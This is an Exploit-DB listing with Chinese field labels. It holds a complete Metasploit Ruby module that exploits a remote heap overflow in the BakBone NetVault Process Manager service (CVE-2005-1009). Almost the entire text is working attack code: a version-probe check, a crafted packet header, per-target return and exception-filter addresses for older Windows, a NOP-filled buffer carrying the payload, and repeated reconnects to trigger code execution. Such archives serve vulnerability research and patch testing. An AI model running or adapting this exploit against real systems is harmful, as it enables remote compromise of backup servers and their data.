标题: BakBone NetVault - Remote Heap Overflow (Metasploit) EDB-ID: 16448 CVE: 2005-1009 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: bakbone_netvault_heap.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BakBone NetVault Remote Heap Overflow',
   'Description'    => %q{
  This module exploits a heap overflow in the BakBone NetVault
 Process Manager service. This code is a direct port of the netvault.c
 code written by nolimit and BuzzDee.
   },
   'Author'         => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2005-1009'],
     ['OSVDB', '15234'],
     ['BID', '12967'],
    ],
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x20",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP4 English',   { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],
     ['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],
    ],

   'Privileged'     => false,
   'DisclosureDate' => 'Apr 01 2005'
   ))

   register_options(
   [
    Opt::RPORT(20031)
   ], self.class)
 end

 def check
  connect

  hname = "METASPLOIT"
  probe =
   "\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +
   "\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +
   "\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +
   "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +
   [ hname.length + 1 ].pack('V') + hname + "\x00"
  probe += "\x00" * (201 - probe.length)

  sock.put(probe)
  res = sock.get_once(1, 10)

  off = (res || '').index("NVBuild")

  if off
   off += 21
   ver  = res[off + 4, res[off, 4].unpack('V')[0]].to_i

   if ver > 0
    print_status("Detected NetVault Build #{ver}")
    return Exploit::CheckCode::Detected
   end
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  print_status("Trying target #{target.name}...")

  head =
   "\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +
   "\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +
   "\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +
   "\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +
   "\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
   "\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +
   "\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +
   "\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +
   "\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +
   "\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +
   "\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"

  pattern = make_nops(39947) + "\x00\x00\x00"
  p       = payload.encoded

  pattern[0, head.length]  = head
  pattern[32790, 2]        = "\xeb\x0a"
  pattern[32792, 4]        = [ target.ret ].pack('V')
  pattern[32796, 4]        = [ target['UEF'] ].pack('V')
  pattern[32800, p.length] = p

  sent = 0
  try  = 0

  15.times {
   try += 1
   connect
   sent = sock.put(pattern)
   disconnect
   break if sent == pattern.length
  }

  if (try == 15)
   print_error("Could not write full packet to server.")
   return
  end

  print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")
  select(nil,nil,nil,4)

  print_status("Attempting to trigger memory overwrite by reconnecting...")

  begin
   10.times { |x|
    connect
    sock.put(pattern)
    print_status("   Completed connection #{x}")
    sock.get_once(1, 1)
    disconnect
   }
  rescue
  end

  print_status("Waiting for payload to execute...")

  handler
  disconnect
 end

 def wfs_delay
  5
 end

end URL: https://www.exploit-db.com/exploits/16448